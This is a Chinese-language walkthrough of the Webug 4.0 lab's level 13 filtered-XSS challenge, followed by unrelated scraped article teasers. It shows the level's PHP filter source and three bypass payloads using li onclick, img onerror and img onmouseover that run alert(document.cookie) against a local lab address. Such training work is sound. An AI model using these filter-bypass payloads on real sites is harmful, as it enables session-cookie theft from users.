Webug4.0靶场通关笔记13- 第13关过滤型XSS注入(3种方法渗透)

article/2025/6/8 0:39:51

目录

第13关 过滤型XSS

1.打开靶场

2.源码分析

3.渗透实战

(1)渗透方法1

(2)渗透方法2

(3)渗透方法3


本文通过《webug靶场第13关 过滤型XSS》来进行渗透实战。 

第13关 过滤型XSS

1.打开靶场

http://192.168.71.129:8006/control/sqlinject/filter_injection.php

修改id内容为hello,如下图红框所示hello被展示到页面中。

很明显很大概率有XSS注入风险,注入命令如下所示。

id=<script>alert(document.cookie)</script>

 不过此时渗透失败,提示请不要包含恶意函数,看来有关键字过滤。

2.源码分析

如下所示,输入参数为id,当参数包含alert的XSS注入语句时,将flag放入到cookie中。如下所示对参数id进行小写处理,并且包含script关键字时被过滤。

<?phprequire_once "../../common/common.php";// 会话验证:检查用户是否已登录,未登录则重定向到登录页面
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}// 清除可能存在的flag Cookie(安全措施)
setcookie("flag", "", time() - 1);// 处理URL参数
if (isset($_GET["id"])) {if (!empty($_GET["id"])) {// 将参数转换为小写进行检查(防止大小写绕过)$id = strtolower($_GET['id']);// XSS检测:如果参数中包含"script"字符串if (strstr($id, 'script')) {// 设置响应头,确保中文正常显示header("Content-type:text/html;charset=utf-8");// 警告用户不要使用恶意函数并终止脚本echo "<script>alert('请不要包含恶意函数')</script>";exit();} // 特殊逻辑:如果参数中包含"alert"字符串elseif (strstr($_GET['id'], 'alert')){// 从数据库获取安全标志(可能是敏感信息)$sql = "SELECT * FROM env_list WHERE id = 9";$res = $dbConnect->query($sql);$row = mysqli_fetch_assoc($res);// 设置包含安全标志的Cookiesetcookie("flag", $row['envFlag']);}}
}// 引入HTML模板文件
require_once TPMELATE."/xss_1.html";

这段 PHP 代码实现了一个基于会话验证和输入过滤的 Web 页面安全机制:

  • 会话验证:确保只有登录用户才能访问该页面
  • Cookie 处理:清除可能存在的 flag Cookie,防止信息泄露
  • 输入过滤
    • 将 URL 参数转换为小写后检查是否包含 "script" 字符串
    • 若包含则提示用户并终止脚本执行
  • 特殊逻辑
    • 若参数中包含 "alert" 字符串(不区分大小写)
    • 从数据库查询 ID 为 9 的记录
    • 将查询结果中的 envFlag 值存入客户端 Cookie
  • 页面渲染:引入 HTML 模板文件显示页面内容

通过如上分析,如果想获取flag,应该注入包含alert的字符串,接下来尝试根据提示应该构造如下注入命令。

<script>alert(document.cookie)</script>

很明显因为如下代码会注入失败。

if (strstr($id, 'script')) {header("Content-type:text/html;charset=utf-8");echo "<script>alert('请不要包含恶意函数')</script>";exit();}

通常来将script关键字被过滤,会考虑大小写绕过,比如如下方式。

<Script>alert(document.cookie)</sCript>

不过因为如下源码,将参数id的内容小写后再过滤。

$id = strtolower($_GET['id']);

 故而当使用大小写变换后的注入语句时也会渗透失败,具体如下所示。

故而在渗透过程中,需要考虑使用无script关键字的XSS注入语句。

3.渗透实战

(1)渗透方法1

考虑使用无script关键字的XSS注入语句,那么我们使用onclick的XSS脚本,如下所示。

<li/onclick=alert(document.cookie)>ljn</li>

完整url如下所示。

http://192.168.71.1/webug4/control/xss/filter_xss.php?id=<li/onclick=alert(document.cookie)>ljn</li>

如下点击ljn,注入成功。

(2)渗透方法2

利用img标签和onerror配合来进行绕过,由于页面不存在路径为/1的图片,因此直接加载会出错,触发onerror并且执行代码。

<img src=1 onerror=alert(document.cookie)>

注入语句 如下所示。

http://192.168.71.129:8006/control/xss/filter_xss.php?id=<img src=x onerror=alert(document.cookie)>

渗透获取到flag。

(3)渗透方法3

利用img标签和onmouseover配合来进行绕过。

<img src=x onmouseover=alert(document.cookie)>

注入语句 如下所示。

http://192.168.71.129:8006/control/xss/filter_xss.php?id=<img src=x onmouseover=alert(document.cookie)>

将鼠标移动到图标处。

如下所示弹出XSS注入命令,获取到flag。


http://www.hkcw.cn/article/WVgslVOAxQ.shtml

相关文章

ASP.NET Core OData 实践——Lesson8增删改查集合Property(C#)

大纲 支持的接口主要模型设计控制器设计数据源查询(GET)查询集合属性的值查询基类类型Entity的基础类型集合属性值查询派生类型Entity的基础类型集合属性值 查询集合属性数量查询基类类型Entity的基础类型集合属性值的个数查询派生类型Entity的基础类型集合属性值的个数 创建(P…

C++旅行预算规划 全国信息素养大赛复赛决赛 C++小学/初中组 算法创意实践挑战赛 内部集训模拟题详细解析

C++旅行预算规划 全国信息素养大赛 C++复赛/决赛模拟训练题 博主推荐 所有考级比赛学习相关资料合集【推荐收藏】1、C++专栏 电子学会C++一级历年真题解析电子学会C

赴山海预约破400万 创新武侠点燃荧屏

武侠剧迷久等了!《赴山海》这部融合穿书、权谋、热血成长的创新武侠巨制,将点燃今夏荧屏。该剧终于官宣定档,将于6月15日在藤子视频和271双平台同步上线。自开拍以来备受关注,目前两大平台预约人数已突破500万大关,创下武侠剧未播预约新纪录。《赴山海》改编自武侠大师温瑞…

藏海单眼落泪串成线 稚奴心碎哭泣惹人怜

藏海寻求荼荼安慰,是谁还没看到肖战藏海单眼一滴泪啊,这哭到我心碎,“你就让我在这坐会吧”也太可怜了吧,我们的藏海此刻坐做回了稚奴啊,这哭的我好心痛~责任编辑:zx0001

李亚鹏拄拐和妻子看女儿演出 一家三口幸福同框

六一儿童节时,海哈金喜分享了与李亚鹏陪伴女儿过节的照片,一家三口其乐融融,幸福的样子令人羡慕。作为明星,李亚鹏虽然不再拍戏,但影响力犹存。他转行做主播后依然备受关注。这次和妻子一起陪女儿过六一,再次成为焦点。他们前往小女儿的幼儿园观看演出,坐在台下为女儿加…

樊振东加盟德甲联赛意味着什么 乒坛巨星开启欧洲冒险

6月1日,德国乒乓球甲级联赛FC萨尔布吕肯俱乐部宣布奥运冠军樊振东将加盟球队。俱乐部称,前世界排名第一、国际乒坛最耀眼的巨星之一樊振东将在新赛季代表该队出战德国乒乓球甲级联赛(TTBL)。这位28岁的中国名将明确表示将开启“欧洲冒险”,并全力参与球队所有赛事。此次签…

中国单方面免签朋友圈再增5国 拉美国家首享便利

从今天开始,中国对巴西、阿根廷、智利、秘鲁、乌拉圭五国持普通护照人员试行免签政策。2025年6月1日至2026年5月31日,这五个国家的公民来华经商、旅游观光、探亲访友、交流访问或过境不超过30天时,可免办签证入境。这是中方首次将免签政策拓展到拉美和加勒比地区国家,至此,…

法国禁止在儿童公共场所吸烟 新禁令7月生效

法国政府宣布将在所有儿童出入的户外场所,包括海滩、公园、学校外、公交车站和体育场馆禁止吸烟。卫生与家庭事务部长沃特兰于5月29日表示,这项新禁令将于7月1日生效,违反者将面临最高135欧元的罚款。沃特兰强调,在有儿童的地方必须禁止烟草,儿童呼吸清洁空气的权利远大于…

于正说临江仙集均打底6000 争议与期待并存

于正的新剧《临江仙》未播先崩,300万预约暴露了观众的矛盾心理。这部仙侠剧的配音让观众想起喜羊羊,特效被嘲像贪吃蛇开会,制片人却忙着和全网对赌口碑。于正在微博上激情宣言“绝无口碑崩塌可能”,还自夸“内娱独一份”。然而,网友备忘录里记满了账本:白鹿的“幼态配音”…

硬件学习笔记--63 开关电源简单介绍

开关电源&#xff08;Switching Mode Power Supply, SMPS&#xff09;是一种高效的电能转换装置&#xff0c;通过高频开关&#xff08;通常由晶体管或MOSFET控制&#xff09;将输入电压&#xff08;如交流或直流&#xff09;转换为稳定的直流输出电压。相比传统的线性电源&…

数据结构:时间复杂度(Time Complexity)和空间复杂度(Space Complexity)

目录 什么是时间复杂度&#xff1f; 如何表示时间复杂度&#xff1f; 为什么需要时间复杂度&#xff1f; 用几个例子理解 怎么分析代码的时间复杂度&#xff1f; 什么是空间复杂度&#xff1f; 举例理解 什么是时间复杂度&#xff1f; 时间复杂度是用来衡量一个算法“…

华为OD机试真题——文件目录大小(2025 A卷:100分)Java/python/JavaScript/C++/C语言/GO六种语言最佳实现

2025 A卷 100分 题型 本文涵盖详细的问题分析、解题思路、代码实现、代码详解、测试用例以及综合分析; 并提供Java、python、JavaScript、C++、C语言、GO六种语言的最佳实现方式! 2025华为OD真题目录+全流程解析/备考攻略/经验分享 华为OD机试真题《文件目录大小》: 目录 题…

全球名校疯抢哈佛留学生 各国争抢顶尖人才

最近,教育界掀起了一场激烈的全球“抢人大战”,各国纷纷瞄准哈佛生源。哈佛学生之所以受到追捧,是因为他们在学术研究上屡创佳绩,思维活跃,创新能力一流。这些人才对本国的教育、科研和经济发展有着不可估量的推动作用。美国政府宣布撤销部分中国留学生签证的消息一出,教…

怎样才能看懂赵丽颖新剧《在人间》 剧情烧脑反转不断

赵丽颖和尹昉主演的电视剧《在人间》虽然只有8集,却融合了无限流、悬疑烧脑、奇幻、多重人格、赛博朋克等众多元素,讲述了贾小朵与徐天一起进入“虚拟空间”的故事。故事题材新颖,惊喜不断。剧情以“梦中梦”方式展开,各种意想不到的场景和桥段层出不穷,如虚拟空间、抽象梦…

藏海传热度榜冠军 肖战新剧引爆收视狂潮

肖战主演的《藏海传》开播不到一周便引起了广泛关注。该剧不仅以超过2%的实时收视率成为央八年度冠军,肖战也凭借“藏海”一角在角色热度榜上遥遥领先。网友评价:“上一次这么火的还是《梦华录》,肖战这波赢麻了!”《藏海传》自首播以来,收视率一路飙升。酷云数据显示,该…

美国黄石公园车祸致中国公民5死8伤 皮卡车司机酒驾超限

5月1日晚,美国黄石国家公园附近发生了一起严重的交通事故。一辆皮卡车与一辆载有14人的面包车相撞,导致7人死亡,其中包括5名中国公民,另有8名中国公民受伤。5月30日,当地警方透露,皮卡车司机血液中的酒精含量超过法定准驾限值的两倍。肇事司机是来自得克萨斯州汉布尔的伊…

暴雨横扫南方大部 为何成都不下雨 成都成“少雨孤岛”

随着南海西南季风的爆发,南方多地进入强降雨模式。自5月下旬以来,从广西到湖南、江西、贵州,甚至云南东部和重庆东南部,雨水强度和频率都显著增加。特别是在云南、贵州一带,不仅有稳定的中到大雨,还有局地暴雨乃至大暴雨,累计雨量不断刷新。根据中央气象台发布的中期天气…

特朗普为何向俄罗斯下“最后通牒” 忍耐已达极限

特朗普要求俄罗斯在14天内给出解释,针对近期俄罗斯的行为,这位美国总统的耐心几乎耗尽。最近几天,特朗普在接受采访时对普京发出明确警告,称两周内将知道普京是否在利用美国,并表示如果确实如此,美国将做出不同的回应。这被视为特朗普对莫斯科的“最后通牒”,也是他自年…

陈伟霆曾舜晞陈瑶九门开机同框 原班人马回归期待

《九门》突然宣布开机,引起广泛关注。陈伟霆饰演张启山,曾舜晞扮演吴老狗,陈瑶则出演霍仙姑。尽管目前只公布了三位演员,但他们的角色都是重量级的,尤其是陈伟霆的回归让人充满期待。2016年,《老九门》播出时迅速走红。这部集结了众多当红演员的民国悬疑剧首播当天收视率…

Canvas实例篇:十二星座之天蝎座

Canvas实例篇&#xff1a;十二星座之天蝎座 前言效果预览代码实现代码说明星座特定星 结语 前言 星座总给人浪漫而神秘的感觉&#xff0c;如何用代码还原星空中的浪漫&#xff1f;本文将通过 Canvas 技术&#xff0c;讲述如何实现一个可交互的天蝎座星空图&#xff0c;包含星星…